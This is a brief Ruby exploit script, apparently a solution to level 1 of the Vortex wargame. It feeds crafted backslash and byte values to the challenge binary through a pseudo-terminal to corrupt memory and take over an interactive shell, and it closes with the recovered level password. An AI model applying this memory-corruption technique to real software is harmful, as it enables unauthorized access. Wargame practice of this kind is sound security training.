require 'pty'
 
begin
  PTY.spawn("/vortex/level1") do |stdin, stdout, pid|
    257.times {stdout.write "\\"}
    1.times {stdout.write [0xca].pack('V')}
    1.times {stdout.write "\\"}
    1.times {stdout.write [0xff].pack('V')}
    reader = Thread.new {
      STDOUT.sync = true
      STDOUT.write(stdin.read(1)) until stdin.eof?
      puts 'Exiting reader'
    }
    stdout.write STDIN.readline until STDIN.eof?
  end
rescue => e
  puts e
end

Password: 23anbT\rE